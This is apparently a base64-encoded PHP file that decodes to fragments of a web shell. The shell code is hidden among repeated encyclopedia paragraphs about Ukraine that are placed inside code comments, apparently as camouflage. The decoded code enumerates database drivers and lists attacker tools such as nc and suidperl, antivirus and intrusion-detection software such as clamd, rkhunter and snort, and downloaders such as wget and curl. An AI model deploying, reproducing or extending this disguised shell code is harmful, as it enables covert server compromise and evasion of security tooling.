W4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiTVNTUUwiOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJPcmFjbGUiOwoJc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwoJZWNobyAnPGJyPic7CgkKCWlmKCAkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CgkJJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CgkJJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzI